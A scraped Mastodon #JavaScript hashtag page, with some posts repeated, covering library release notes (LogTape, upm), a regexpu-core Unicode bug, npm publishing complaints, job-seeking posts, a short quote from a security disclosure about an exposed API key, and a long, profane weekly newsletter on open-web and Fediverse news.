Hashtag

#JavaScript

1,941 posts tagged with this hashtag.

Oh performance, the good old days:

* Average total HTML size (including internal frame HTML): 25K
* Average total external script size: 11.2K
* Average total external style size: 17K

2006. (To be fair, back then we already observed the same trend that pages got bigger and bigger.)

optimizationweek.com/reviews/a

optimizationweek.com

The Average Web Page - Preliminary Results

What is the size and composition of the average web page? How has the web changed over time? We report on some preliminary results.

@hongminhee@hollo.social

LogTape 2.4.0 is out. is a zero-dependency library for and that runs on , .js, , and browsers.

The main changes:

  • Opt-in source locations: captureSourceLocation records where each log call was made, and the text formatters can show it. Meant for development, since it costs a stack trace per call.
  • inspectLogger() reports how a logger's level, inherited sinks, and filters combine, so you can see why a record doesn't reach a sink.
  • parentSinks: "forward" lets a child category inherit its ancestors' sinks without their level thresholds.
  • drain() waits for pending sink output without disposing of the sinks, and fromAsyncSink() gets queue limits and a waitUntil hook for serverless platforms.
  • fingersCrossed() can go back to buffering after a trigger, and flush or discard buffers per request.
  • The Express, Hono, Koa, and Elysia integrations take a completionLevel callback that picks the log level from the response.

Two changes can affect existing code: getRotatingFileSink() now requires maxFiles to be an integer from 1 to 1,000, and TextFormatterOptions.value now also accepts "bare", so code that calls it directly has to check its type first.

https://github.com/dahlia/logtape/discussions/254

github.com

LogTape 2.4.0: Source locations, configuration inspection, sink draining, and request completion levels · dahlia/logtape · Discussion #254

LogTape is a logging library for JavaScript and TypeScript that works across Deno, Node.js, Bun, and browsers. It's built around structured logging, has zero dependencies, and is designed to work a...

@hongminhee@hollo.social

LogTape 2.4.0 is out. is a zero-dependency library for and that runs on , .js, , and browsers.

The main changes:

  • Opt-in source locations: captureSourceLocation records where each log call was made, and the text formatters can show it. Meant for development, since it costs a stack trace per call.
  • inspectLogger() reports how a logger's level, inherited sinks, and filters combine, so you can see why a record doesn't reach a sink.
  • parentSinks: "forward" lets a child category inherit its ancestors' sinks without their level thresholds.
  • drain() waits for pending sink output without disposing of the sinks, and fromAsyncSink() gets queue limits and a waitUntil hook for serverless platforms.
  • fingersCrossed() can go back to buffering after a trigger, and flush or discard buffers per request.
  • The Express, Hono, Koa, and Elysia integrations take a completionLevel callback that picks the log level from the response.

Two changes can affect existing code: getRotatingFileSink() now requires maxFiles to be an integer from 1 to 1,000, and TextFormatterOptions.value now also accepts "bare", so code that calls it directly has to check its type first.

https://github.com/dahlia/logtape/discussions/254

github.com

LogTape 2.4.0: Source locations, configuration inspection, sink draining, and request completion levels · dahlia/logtape · Discussion #254

LogTape is a logging library for JavaScript and TypeScript that works across Deno, Node.js, Bun, and browsers. It's built around structured logging, has zero dependencies, and is designed to work a...

@hongminhee@hollo.social

LogTape 2.4.0 is out. is a zero-dependency library for and that runs on , .js, , and browsers.

The main changes:

  • Opt-in source locations: captureSourceLocation records where each log call was made, and the text formatters can show it. Meant for development, since it costs a stack trace per call.
  • inspectLogger() reports how a logger's level, inherited sinks, and filters combine, so you can see why a record doesn't reach a sink.
  • parentSinks: "forward" lets a child category inherit its ancestors' sinks without their level thresholds.
  • drain() waits for pending sink output without disposing of the sinks, and fromAsyncSink() gets queue limits and a waitUntil hook for serverless platforms.
  • fingersCrossed() can go back to buffering after a trigger, and flush or discard buffers per request.
  • The Express, Hono, Koa, and Elysia integrations take a completionLevel callback that picks the log level from the response.

Two changes can affect existing code: getRotatingFileSink() now requires maxFiles to be an integer from 1 to 1,000, and TextFormatterOptions.value now also accepts "bare", so code that calls it directly has to check its type first.

https://github.com/dahlia/logtape/discussions/254

github.com

LogTape 2.4.0: Source locations, configuration inspection, sink draining, and request completion levels · dahlia/logtape · Discussion #254

LogTape is a logging library for JavaScript and TypeScript that works across Deno, Node.js, Bun, and browsers. It's built around structured logging, has zero dependencies, and is designed to work a...

@stuffbreaker@mastodon.social
@stuffbreaker@mastodon.social
@mikaeru@mastodon.social

I remembered having posted a similar issue for Unicode 15.0, four years ago, when I still had access to my GitHub account; it took a couple of months to get fixed, so I'm planning to add some kind of regex pattern string preprocess to solve the problem by myself in the meanwhile...

github.com/mathiasbynens/regex

support across engines is not always up-to-date anyway:

"Can I Unicode‽" mathiasbynens.github.io/caniun

@jlhwung

Screenshot of "Issue #69: Rewrite pattern issue for new scripts Kawi and Nag_Mundari (Unicode 15.0) in v5.2.1"

https://github.com/mathiasbynens/regexpu-core/issues/69
ALT text

Screenshot of "Issue #69: Rewrite pattern issue for new scripts Kawi and Nag_Mundari (Unicode 15.0) in v5.2.1" https://github.com/mathiasbynens/regexpu-core/issues/69

// "regexpu-core": "^6.5.2"
const rewritePattern = require ('regexpu-core');

console.log (rewritePattern ("\\p{Script=Sidetic}", "u", { unicodePropertyEscapes: 'transform' }));
// -> [\u{10940}-\u{10959}]

console.log (rewritePattern ("\\p{Script=Seal}", "u", { unicodePropertyEscapes: 'transform' }));
// Error: Unknown value `Seal` for property `Script`.
ALT text

// "regexpu-core": "^6.5.2" const rewritePattern = require ('regexpu-core'); console.log (rewritePattern ("\\p{Script=Sidetic}", "u", { unicodePropertyEscapes: 'transform' })); // -> [\u{10940}-\u{10959}] console.log (rewritePattern ("\\p{Script=Seal}", "u", { unicodePropertyEscapes: 'transform' })); // Error: Unknown value `Seal` for property `Script`.

"RegExp Unicode property escapes" section of "Can I Unicode‽"
https://mathiasbynens.github.io/caniunicode/
ALT text

"RegExp Unicode property escapes" section of "Can I Unicode‽" https://mathiasbynens.github.io/caniunicode/

@mikaeru@mastodon.social

I remembered having posted a similar issue for Unicode 15.0, four years ago, when I still had access to my GitHub account; it took a couple of months to get fixed, so I'm planning to add some kind of regex pattern string preprocess to solve the problem by myself in the meanwhile...

github.com/mathiasbynens/regex

support across engines is not always up-to-date anyway:

"Can I Unicode‽" mathiasbynens.github.io/caniun

@jlhwung

Screenshot of "Issue #69: Rewrite pattern issue for new scripts Kawi and Nag_Mundari (Unicode 15.0) in v5.2.1"

https://github.com/mathiasbynens/regexpu-core/issues/69
ALT text

Screenshot of "Issue #69: Rewrite pattern issue for new scripts Kawi and Nag_Mundari (Unicode 15.0) in v5.2.1" https://github.com/mathiasbynens/regexpu-core/issues/69

// "regexpu-core": "^6.5.2"
const rewritePattern = require ('regexpu-core');

console.log (rewritePattern ("\\p{Script=Sidetic}", "u", { unicodePropertyEscapes: 'transform' }));
// -> [\u{10940}-\u{10959}]

console.log (rewritePattern ("\\p{Script=Seal}", "u", { unicodePropertyEscapes: 'transform' }));
// Error: Unknown value `Seal` for property `Script`.
ALT text

// "regexpu-core": "^6.5.2" const rewritePattern = require ('regexpu-core'); console.log (rewritePattern ("\\p{Script=Sidetic}", "u", { unicodePropertyEscapes: 'transform' })); // -> [\u{10940}-\u{10959}] console.log (rewritePattern ("\\p{Script=Seal}", "u", { unicodePropertyEscapes: 'transform' })); // Error: Unknown value `Seal` for property `Script`.

"RegExp Unicode property escapes" section of "Can I Unicode‽"
https://mathiasbynens.github.io/caniunicode/
ALT text

"RegExp Unicode property escapes" section of "Can I Unicode‽" https://mathiasbynens.github.io/caniunicode/

@manlycoffee@techhub.social
@frontenddogma@mas.to
@SocketSecurity@fosstodon.org

📦 upm is a new package manager written in TypeScript. It comes in at about 250 KB, uses Node.js built-ins to compete on install speed, has a API, and can install from npm, pnpm, and Bun lockfiles.

A zippy experiment with Node.js: socket.dev/blog/upm-package-ma

socket.dev

upm Launches as a Fast, Tiny Package Manager Written in TypeScript

upm uses Node.js to deliver fast npm installs in about 250 KB, with a JavaScript API and security defaults.

Web page minification:

You’d need to follow the tooling landscape a bit to tell that there’s stagnation in some tools—but a lot of innovation in others.

HTML Minifier Next (HMN) plays a role on the innovation side, but maintainer to maintainer, I like to call out Kirill Maltsev’s great work on htmlnano.

htmlnano is continuously improved as a very effective web page minifier, one that has its own philosophy for web page optimization.

So kudos here for Kirill: If you want a versatile, effective web page minifier, I will be mad if you don’t test HMN—but you should definitely try out htmlnano, too!

npmjs.com/package/htmlnano

@haskell@fosstodon.org
@frontenddogma@mas.to
@toxi@mastodon.thi.ng · Reply to Karsten Schmidt

So it seems the phase out of 2FA bypass in publish tokens is already partially enforced (or being tested). If I replace npm publish with npm stage publish the 404 errors are gone.

But, but... that system/method really isn't scalable at all for a monorepo, since each staged package must be individually approved via the NPM website, each package requiring 2 clicks, a security key auth and a page refresh. No support for batch approvals! I really wonder if any of the people at NPM are ever dogfooding their own workflows... It doesn't seem so! 😤

Users of Yarn and workspaces have another related large problem (hopefully temporary only) with "staged publishing". Yarn doesn't (yet?) support npm stage publish and so I just filed a feature request for that here too:

github.com/yarnpkg/berry/issue

AFAICT the issue can be worked around by using npm stage publish directly via a custom publish script, which temporarily replaces all workspace:^ dependencies in package.json with their resolved actual versions (for the purposes of publishing/staging only) and then restores the original package.json after...

github.com

[Feature] Support for `yarn npm stage publish` command · Issue #7279 · yarnpkg/berry

I'd be willing to implement this feature (contributing guide) This feature is important to have in this repository; a contrib plugin wouldn't do Describe the user story With upcoming 2FA publish to...

@toxi@mastodon.thi.ng

If you're using or or , where do people hang out and talk about projects/issues these days (other than on Reddit, Discord), i.e. where are the communities/exchanges, since the topics obviously aren't popular on Mastdon. For a while now, any of my posts and project/release announcements related to these hashtags always seem to go pretty much straight to /dev/null...

Grateful for any pointers! 🙏

@frontenddogma@mas.to
@carlospiga@piaille.fr

Bonjour à toutes et tous.

sur ou en .

Je peux justifier de plusieurs Bac+2 et Bac+3, de trois ans d'XP en alternances en agences où j'ai fait du front ( ) comme du back ( ), et de deux ans en CDD dans un service public où j'ai surtout fait du back ( ). Le détail est ici carlospiga.fr/

Je peux apprendre à me servir d'outils et frameworks qui en dépendent au besoin.
Je vise un poste de mais suis ouvert à d'autres intitulés.
J'ai une pour trouble de la communication.

@carlospiga@piaille.fr

Bonjour à toutes et tous.

sur ou en .

Je peux justifier de plusieurs Bac+2 et Bac+3, de trois ans d'XP en alternances en agences où j'ai fait du front ( ) comme du back ( ), et de deux ans en CDD dans un service public où j'ai surtout fait du back ( ). Le détail est ici carlospiga.fr/

Je peux apprendre à me servir d'outils et frameworks qui en dépendent au besoin.
Je vise un poste de mais suis ouvert à d'autres intitulés.
J'ai une pour trouble de la communication.

@rexi@mastodon.social · Reply to rexi

nexanet.ai/blog/53-times-flock

"I discovered a Default ArcGIS API key embedded in Safety's public-facing bundle…granted access to the company's …infrastructure that consolidates license plate detections, patrol car locations, drone telemetry, body camera locations, 911 call data, and surveillance camera locations…nationwide.

The key was not restricted by referrer, IP, or origin allowing it to be used by anyone, anywhere…granting access to their ArcGIS mapping platform…"

nexanet.ai

53 Times Flock Safety Hardcoded the Password for America's Surveillance Infrastructure

A responsible disclosure write-up on an organization-wide ArcGIS API key embedded across multiple public front-end bundles.

@frontenddogma@mas.to
@frontenddogma@mas.to
@thefulcrum@newsletter.mobileatom.net
Welcome to this week's The Programmer's Fulcrum. It's your weekly curation of the essential news in the Open Media Network and Open Social development communities with a focus on devastating big tech via Techno Anarchism. As usual, we aim to provide actionable content you can use to destroy Techno Feudalism each week. It has the additional benefit of weakening authoritarianism. IMHO, the best way to do that is to use tools from the Techno Anarchist Manifesto to build your own site(s) to […]

Welcome to this week’s The Programmer’s Fulcrum.

It’s your weekly curation of the essential news in the Open Media Network and Open Social development communities with a focus on devastating big tech via Techno Anarchism.

As usual, we aim to provide actionable content you can use to destroy Techno Feudalism each week. It has the additional benefit of weakening authoritarianism.

IMHO, the best way to do that is to use tools from the Techno Anarchist Manifesto to build your own site(s) to participate in the Open Media Network. Then you should share it (them) via Real Simple Syndication (RSS), Open Social, and possibly a newsletter or podcast. This approach is similar to what some call the IndieWeb and its POSSE philosophy.

The second best strategy is to have accounts on open social and use the hell out of them. And do the same with a RSS feed reader.

We publish TPF on Fridays so you can enjoy it over your weekend.

There’s good stuff in all of our categories, so please take the time to enjoy and bookmark the items most relevant to your goals. We hope you are inspired to create new ones.

Or you can scroll down to your favorite section.

FYI, my opinions will be in bold. And may involve cursing. Because humans. Especially tech bros. And fascists. Fuck´em.

This week marks the beginning of the earliest incarnation of this site, Symfony Station. It also began our cross-posting to Dev.to. That was five years ago when mass enshittification and AI menacingly loomed just over the horizon. The reason I had gone to web development bootcamp was that I knew they were coming and needed some skills to fight them.

Personally, I’m in a better place now. But, unfortunately tech isn’t despite our efforts here. So, let’s kick it up a notch.


Featured Item(s)

Sabot Media writes:

For twenty-five years, Autistici / Inventati showed what it could mean for movements to build and control their own communications infrastructure. Its loss should not send everyone searching for the next single service to replace it.

It should send us looking in a hundred directions.

A/I may be ending. The story is nowhere near over.

This is what we preach weekly.

Brennan Day writes:

We can create a more human web right now. The world is in dire straits …

There are those who see the act of webmastery as “only” a hobby and pastime—and I say this is not mutually exclusive to world-saving. The personal is political. Our ability to maintain our joy and ourselves is, itself, resistance.

Start as you are, with what you have, while you still have time to do so.

Exercise your innate human right to create.

Be a developer. Be a designer. Be a writer. Be a systems administrator. Be a philosopher. Be a Webmaster.

It is the most punk rock, anti-establishment, liberating thing you can do in the 21st century. And yeah, it is fucking awesome.

WEBMASTER@ a manifesto for everyone

We also preach this weekly.

Simon Tisdall writes:

It’s no surprise some analysts say we are already in the midst of the third world war, but ordinary people have more power than we think.

The world is being driven to the brink by thugs and dictators, but there is a route to a brighter future

Wow, this is depressing up till the last 2 paragraphs. But, we have to keep fighting in order to preserve our sanity.

So, read from here till the end of the TAM and do your part to unfuck the world.


CMSs

Soulcruzer says:

Take back the web. Make it weird again

Bob Sassone’s site’s 30th Anniversary inspired their article.

And it’s truly inspiring. Great to see.

Unfortunately, Cavalette shows us:

How to to back up your data (currently) on A/I services

The type of post you never hope to see. Fuck all the Trump clowns and cunts.

There’s a new ATProto competitor for Ghost and Substack:

Writizzy

Non-opensource and similar to Offprint. But, non-AI and European.

WordPress

I will be at WordCamp Bretagne next week (mainly to scout Renne as a summer home) so say bonjour si vous sont cette-la. Sessions that I will definitely attend include the Gutenberg, Web Spaghetti, and Integrations ones.

It will be interesting to see what everyone thinks of Matt getting thrown out of AutoMattic on his ass.

Ghost

Spectral Web Services explores:

Avoiding duplicates on complicated homepages

Back to top 👆🏼


Tools

Framablog has a book review:

Publication : Alternatives & Struggles

Chat / Team Chat

About Signal reports:

Signal now lets you record much longer videos in the app

Movim announces:

Movim 0.35 “Thiele” is out!

Browsers

Waterfox announces:

6.7.2 — Improvements to tree tabs and the vertical sidebar

There are similar improvements in its Android app.

Search

Xamanismo Coletivo shares:

One guy in Sweden built a search engine to fight Google, and it works

Cloud

Nextcloud shows us:

How to set up UnifiedPush on Android for Nextcloud Talk: push notifications without Google Play Services

Tuta examines:

Tuta Mail, Tuta Calendar, & Tuta Drive: Development steps

Writing

Joplin explains:

What’s new in Joplin 3.7

You can publish a notebook as a website now.

On a related note, Glyphack has:

Share Obsidian Notes To A Blog

Creative

Libre shares:

Announcing Plasma Studio

GIMP announces:

GIMP 3.2.6 Released

Linux / Open Android

Fedilab Apps says:

Choose F-Droid

Fuck Google.

Alternative To reports:

GrapheneOS plans to overhaul the bundled AOSP apps, including messaging with RCS support

This week’s featured OMN tool

BentoPDF

The PDF Toolkit built for privacy is now opensource.

BentoPDF

Back to top 👆🏼


Programming

Sage Journals published:

‘Digital Public Infrastructure’: Cultural hegemony and states’ technological dependence

As this and the A / I situation demonstrate, we need to build our own infrastructure. So, pay attention to our More section each week.

Fedilab Apps shares:

So Google refuses to delete my dev account

Terence Eden says:

The purpose of DNS is to spread scams

Ah, our online companions: techno feudalists, techno fascists, AI and Crypto Bros, and (the most honest) criminals.

On a related note, Erlend Sogge Heggen says:

Making software hurts now

That’s because unregulated capitalism will @$$-fuck up any and everything.

David Bushell exposes:

CodePen: exposed!

Tongue-in-cheek. 😉

Henri Bergius goes EUPL:

I changed my license

Git

Justin Wernick is:

Saying Goodbye To My Git Server’s CGit Frontend

HTML

Jens Oliver Meiert reports:

2026: 2 of the Global Top 200 Websites Use Valid HTML

Since most “developers” are tech and AI bros, this tracks. Unfortunately.

CSS

Lea Verou says:

The best dark mode toggle is probably none

And the best dark mode is light mode.

Web Awesome thinks:

Your Design System Should Style Your Words, Too

Web Components

Master.dev explores:

Custom Scrollbar Component In 2026

JavaScript

And:

React Now Rusted All The Way Out

It speeds up React builds. What speeds things up even more is not using the horseshit at all.

Other

Benjamin Eberlei examines:

PHP to get the job done in 2026

Interesting and the most important point is this:

A second major benefit of PHP is its completly open governance model, its truly free software without corporate interests in control. As my friend Sebastian recently wrote: Digital Sovereignty is written in PHP.

In regards to ethical AI use in PHP, I wrote this article about it.

Sourcehut has:

Changes to SourceHut’s terms of service regarding LLMs

Fantastic!

Forgejo announces:

Forgejo Runner v13.1.0 is available

Forgejo 16.0.4 and 15.0.8 were just released

XWiki has:

July and August Pro Apps updates

Release Notes for XWiki 17.10.13

OpenProject announces:

OpenProject integration app for Nextcloud released in versions 3.2.0 and 2.12.0

This week’s featured programming tool

Twig

Twig is the fast, flexible, and secure modern template engine for PHP.

Twig

Back to top 👆🏼


ActivityPub

The Social Web Incubator Community Group (SWICG) works on ActivityPub standards:

Current SWICG Task Forces and their deliverables

It’s slow as fuck. But, at least its moving forward now. The end to end encryption, groups, and forums efforts are vital.

Matthias Pfefferle notes:

FEP-d1cb: Same-origin actor re-identification

Matthias does the most impactful work in the AP community IMHO. We need 200 more of him.

Terence Eden asks:

ActivityPub – Is it worth defending against replay attacks and message/signature time skew?

Spielleitung shares how to block a registration bot:

Prevent “BoomProtocolProbe” from registering

This week’s featured ActivityPub featured tool

Starling

Starling is an ActivityPub server that can actually exchange posts, follows, profiles, replies, likes, and boosts across the Fediverse with Mastodon, Misskey, Pleroma, GoToSocial, PixelFed, and other ActivityPub-compatible platforms.

Starling

Back to top 👆🏼


Permanent aside here (unfortunately)

This is a perpetual pet peeve because many people aren’t able to comprehend ⬇️:

  • The Fediverse is for communities (private, semi-private, formal, informal, or otherwise)
  • and the Atmosphere is for the masses (unwashed, washed, or otherwise).
  • and corporate social media is for naive fools and intentional cunts.

So, recognize their natures and don’t ask the two protocols to go against them. This is also why we have accounts on both platforms and use them differently.

Fediverse

IFTAS has:

Updates to IFTAS Denylists and Access Options

Bonfire

Bonfire presents:

Sovereignty Is More Than a Server: Public Digital Commons with Bonfire

Back to top 👆🏼


More

ATProto

Jola.dev looks at:

Migrating your Bluesky account the hard way

Building AT Habitat shares:

Habitat’s road to release: 05 adopting opensocial

This appears to be a promising Atmosphere alternative to my Manade project.

Speaking of, atproto-spaces-alpha-updates has an update:

Breaking Changes around the simplespace API

Erlend Sogge Heggen explores:

Atmospheric events commons

Atmosphere

Aaron Ross Powell examines:

Social Media and Anti-Social Pluralism

Which is why we need more private autonomous online communities. That’s what I’m exploring with Manade.

MeTacheles has:

W Social Netzwerk: Fake-Zahlen, Rassismus und Totenstille!

Plus there’s this kind of horseshit:

You can’t currently move from/to W without help from a dev

You may have to be logged into the Atmosphere to see this. Anyway, if you are a mark that got grifted into W, just delete you account. Hopefully, no one will ever find out you signed up. Except every company they will share your information with.

Atmosphere Conference News announces:

AtmosphereConf 2027 Organizing is Underway

Happening somewhere in Europe. ???

RSS

Bunnies in PCKT says:

RSS is still my preferred feed format

Mon aussi.

FreshRSS announces:

FreshRSS 1.30.0

Democracy Tech

Internet Exchange looks at:

Building Online Communities We Can Keep


CTAs

And please build something for a community! We’re painfully nurturing Manade.


Blasts from the past

Previous Battalion Posts

Previous Symfony Station Posts

Header illustration with text over dark background of stars, spaceship, and astronaut.
ALT text

Header illustration with text over dark background of stars, spaceship, and astronaut.

@thefulcrum@newsletter.mobileatom.net
Welcome to this week's The Programmer's Fulcrum. It's your weekly curation of the essential news in the Open Media Network and Open Social development communities with a focus on devastating big tech via Techno Anarchism. As usual, we aim to provide actionable content you can use to destroy Techno Feudalism each week. It has the additional benefit of weakening authoritarianism. IMHO, the best way to do that is to use tools from the Techno Anarchist Manifesto to build your own site(s) to […]

Welcome to this week’s The Programmer’s Fulcrum.

It’s your weekly curation of the essential news in the Open Media Network and Open Social development communities with a focus on devastating big tech via Techno Anarchism.

As usual, we aim to provide actionable content you can use to destroy Techno Feudalism each week. It has the additional benefit of weakening authoritarianism.

IMHO, the best way to do that is to use tools from the Techno Anarchist Manifesto to build your own site(s) to participate in the Open Media Network. Then you should share it (them) via Real Simple Syndication (RSS), Open Social, and possibly a newsletter or podcast. This approach is similar to what some call the IndieWeb and its POSSE philosophy.

The second best strategy is to have accounts on open social and use the hell out of them. And do the same with a RSS feed reader.

We publish TPF on Fridays so you can enjoy it over your weekend.

There’s good stuff in all of our categories, so please take the time to enjoy and bookmark the items most relevant to your goals. We hope you are inspired to create new ones.

Or you can scroll down to your favorite section.

FYI, my opinions will be in bold. And may involve cursing. Because humans. Especially tech bros. And fascists. Fuck´em.

This week marks the beginning of the earliest incarnation of this site, Symfony Station. It also began our cross-posting to Dev.to. That was five years ago when mass enshittification and AI menacingly loomed just over the horizon. The reason I had gone to web development bootcamp was that I knew they were coming and needed some skills to fight them.

Personally, I’m in a better place now. But, unfortunately tech isn’t despite our efforts here. So, let’s kick it up a notch.


Featured Item(s)

Sabot Media writes:

For twenty-five years, Autistici / Inventati showed what it could mean for movements to build and control their own communications infrastructure. Its loss should not send everyone searching for the next single service to replace it.

It should send us looking in a hundred directions.

A/I may be ending. The story is nowhere near over.

This is what we preach weekly.

Brennan Day writes:

We can create a more human web right now. The world is in dire straits …

There are those who see the act of webmastery as “only” a hobby and pastime—and I say this is not mutually exclusive to world-saving. The personal is political. Our ability to maintain our joy and ourselves is, itself, resistance.

Start as you are, with what you have, while you still have time to do so.

Exercise your innate human right to create.

Be a developer. Be a designer. Be a writer. Be a systems administrator. Be a philosopher. Be a Webmaster.

It is the most punk rock, anti-establishment, liberating thing you can do in the 21st century. And yeah, it is fucking awesome.

WEBMASTER@ a manifesto for everyone

We also preach this weekly.

Simon Tisdall writes:

It’s no surprise some analysts say we are already in the midst of the third world war, but ordinary people have more power than we think.

The world is being driven to the brink by thugs and dictators, but there is a route to a brighter future

Wow, this is depressing up till the last 2 paragraphs. But, we have to keep fighting in order to preserve our sanity.

So, read from here till the end of the TAM and do your part to unfuck the world.


CMSs

Soulcruzer says:

Take back the web. Make it weird again

Bob Sassone’s site’s 30th Anniversary inspired their article.

And it’s truly inspiring. Great to see.

Unfortunately, Cavalette shows us:

How to to back up your data (currently) on A/I services

The type of post you never hope to see. Fuck all the Trump clowns and cunts.

There’s a new ATProto competitor for Ghost and Substack:

Writizzy

Non-opensource and similar to Offprint. But, non-AI and European.

WordPress

I will be at WordCamp Bretagne next week (mainly to scout Renne as a summer home) so say bonjour si vous sont cette-la. Sessions that I will definitely attend include the Gutenberg, Web Spaghetti, and Integrations ones.

It will be interesting to see what everyone thinks of Matt getting thrown out of AutoMattic on his ass.

Ghost

Spectral Web Services explores:

Avoiding duplicates on complicated homepages

Back to top 👆🏼


Tools

Framablog has a book review:

Publication : Alternatives & Struggles

Chat / Team Chat

About Signal reports:

Signal now lets you record much longer videos in the app

Movim announces:

Movim 0.35 “Thiele” is out!

Browsers

Waterfox announces:

6.7.2 — Improvements to tree tabs and the vertical sidebar

There are similar improvements in its Android app.

Search

Xamanismo Coletivo shares:

One guy in Sweden built a search engine to fight Google, and it works

Cloud

Nextcloud shows us:

How to set up UnifiedPush on Android for Nextcloud Talk: push notifications without Google Play Services

Tuta examines:

Tuta Mail, Tuta Calendar, & Tuta Drive: Development steps

Writing

Joplin explains:

What’s new in Joplin 3.7

You can publish a notebook as a website now.

On a related note, Glyphack has:

Share Obsidian Notes To A Blog

Creative

Libre shares:

Announcing Plasma Studio

GIMP announces:

GIMP 3.2.6 Released

Linux / Open Android

Fedilab Apps says:

Choose F-Droid

Fuck Google.

Alternative To reports:

GrapheneOS plans to overhaul the bundled AOSP apps, including messaging with RCS support

This week’s featured OMN tool

BentoPDF

The PDF Toolkit built for privacy is now opensource.

BentoPDF

Back to top 👆🏼


Programming

Sage Journals published:

‘Digital Public Infrastructure’: Cultural hegemony and states’ technological dependence

As this and the A / I situation demonstrate, we need to build our own infrastructure. So, pay attention to our More section each week.

Fedilab Apps shares:

So Google refuses to delete my dev account

Terence Eden says:

The purpose of DNS is to spread scams

Ah, our online companions: techno feudalists, techno fascists, AI and Crypto Bros, and (the most honest) criminals.

On a related note, Erlend Sogge Heggen says:

Making software hurts now

That’s because unregulated capitalism will @$$-fuck up any and everything.

David Bushell exposes:

CodePen: exposed!

Tongue-in-cheek. 😉

Henri Bergius goes EUPL:

I changed my license

Git

Justin Wernick is:

Saying Goodbye To My Git Server’s CGit Frontend

HTML

Jens Oliver Meiert reports:

2026: 2 of the Global Top 200 Websites Use Valid HTML

Since most “developers” are tech and AI bros, this tracks. Unfortunately.

CSS

Lea Verou says:

The best dark mode toggle is probably none

And the best dark mode is light mode.

Web Awesome thinks:

Your Design System Should Style Your Words, Too

Web Components

Master.dev explores:

Custom Scrollbar Component In 2026

JavaScript

And:

React Now Rusted All The Way Out

It speeds up React builds. What speeds things up even more is not using the horseshit at all.

Other

Benjamin Eberlei examines:

PHP to get the job done in 2026

Interesting and the most important point is this:

A second major benefit of PHP is its completly open governance model, its truly free software without corporate interests in control. As my friend Sebastian recently wrote: Digital Sovereignty is written in PHP.

In regards to ethical AI use in PHP, I wrote this article about it.

Sourcehut has:

Changes to SourceHut’s terms of service regarding LLMs

Fantastic!

Forgejo announces:

Forgejo Runner v13.1.0 is available

Forgejo 16.0.4 and 15.0.8 were just released

XWiki has:

July and August Pro Apps updates

Release Notes for XWiki 17.10.13

OpenProject announces:

OpenProject integration app for Nextcloud released in versions 3.2.0 and 2.12.0

This week’s featured programming tool

Twig

Twig is the fast, flexible, and secure modern template engine for PHP.

Twig

Back to top 👆🏼


ActivityPub

The Social Web Incubator Community Group (SWICG) works on ActivityPub standards:

Current SWICG Task Forces and their deliverables

It’s slow as fuck. But, at least its moving forward now. The end to end encryption, groups, and forums efforts are vital.

Matthias Pfefferle notes:

FEP-d1cb: Same-origin actor re-identification

Matthias does the most impactful work in the AP community IMHO. We need 200 more of him.

Terence Eden asks:

ActivityPub – Is it worth defending against replay attacks and message/signature time skew?

Spielleitung shares how to block a registration bot:

Prevent “BoomProtocolProbe” from registering

This week’s featured ActivityPub featured tool

Starling

Starling is an ActivityPub server that can actually exchange posts, follows, profiles, replies, likes, and boosts across the Fediverse with Mastodon, Misskey, Pleroma, GoToSocial, PixelFed, and other ActivityPub-compatible platforms.

Starling

Back to top 👆🏼


Permanent aside here (unfortunately)

This is a perpetual pet peeve because many people aren’t able to comprehend ⬇️:

  • The Fediverse is for communities (private, semi-private, formal, informal, or otherwise)
  • and the Atmosphere is for the masses (unwashed, washed, or otherwise).
  • and corporate social media is for naive fools and intentional cunts.

So, recognize their natures and don’t ask the two protocols to go against them. This is also why we have accounts on both platforms and use them differently.

Fediverse

IFTAS has:

Updates to IFTAS Denylists and Access Options

Bonfire

Bonfire presents:

Sovereignty Is More Than a Server: Public Digital Commons with Bonfire

Back to top 👆🏼


More

ATProto

Jola.dev looks at:

Migrating your Bluesky account the hard way

Building AT Habitat shares:

Habitat’s road to release: 05 adopting opensocial

This appears to be a promising Atmosphere alternative to my Manade project.

Speaking of, atproto-spaces-alpha-updates has an update:

Breaking Changes around the simplespace API

Erlend Sogge Heggen explores:

Atmospheric events commons

Atmosphere

Aaron Ross Powell examines:

Social Media and Anti-Social Pluralism

Which is why we need more private autonomous online communities. That’s what I’m exploring with Manade.

MeTacheles has:

W Social Netzwerk: Fake-Zahlen, Rassismus und Totenstille!

Plus there’s this kind of horseshit:

You can’t currently move from/to W without help from a dev

You may have to be logged into the Atmosphere to see this. Anyway, if you are a mark that got grifted into W, just delete you account. Hopefully, no one will ever find out you signed up. Except every company they will share your information with.

Atmosphere Conference News announces:

AtmosphereConf 2027 Organizing is Underway

Happening somewhere in Europe. ???

RSS

Bunnies in PCKT says:

RSS is still my preferred feed format

Mon aussi.

FreshRSS announces:

FreshRSS 1.30.0

Democracy Tech

Internet Exchange looks at:

Building Online Communities We Can Keep


CTAs

And please build something for a community! We’re painfully nurturing Manade.


Blasts from the past

Previous Battalion Posts

Previous Symfony Station Posts

Header illustration with text over dark background of stars, spaceship, and astronaut.
ALT text

Header illustration with text over dark background of stars, spaceship, and astronaut.

@crashtestdev@woof.tech

-- EDIT -- Job offer received today, 2 weeks after being fired

Soo, sigh, I was dismissed yesterday from a relatively new job just before I could deploy a huge application, citing my lack of AI coding use

It was during my probationary period so it seems like they could have dismissed me for just about anything

Anyway now looking to get I'm a senior .NET and JavaScript developer who has worked with almost every popular framework/library in both of those ecosystems in a professional environment

I have also used Python to write simulations of nuclear reactors and have worked with bioinformatics software

I have even once single-handedly and successfully defended a project to the Cabinet Office of the United Kingdom

I have also done quite a bit of personal and open source work with rust

Free to start immediately, I was thankfully paid 1 month salary in lieu of notice

Edit:

I am based in the UK, but have worked with teams in timezones as far out as Eastern Australia and the Western US

My contact details are

Email: jasonalexander.dev@gmail.com
Matrix: @crashtestdev:matrix.org
Signal: crashtestdev.45
Telegram: @crashtestdev
Discord: @crashtestdev

My CV: forgejo.crashtest.dev/jasonale

forgejo.crashtest.dev

cv

My CV.

@crashtestdev@woof.tech

-- EDIT -- Job offer received today, 2 weeks after being fired

Soo, sigh, I was dismissed yesterday from a relatively new job just before I could deploy a huge application, citing my lack of AI coding use

It was during my probationary period so it seems like they could have dismissed me for just about anything

Anyway now looking to get I'm a senior .NET and JavaScript developer who has worked with almost every popular framework/library in both of those ecosystems in a professional environment

I have also used Python to write simulations of nuclear reactors and have worked with bioinformatics software

I have even once single-handedly and successfully defended a project to the Cabinet Office of the United Kingdom

I have also done quite a bit of personal and open source work with rust

Free to start immediately, I was thankfully paid 1 month salary in lieu of notice

Edit:

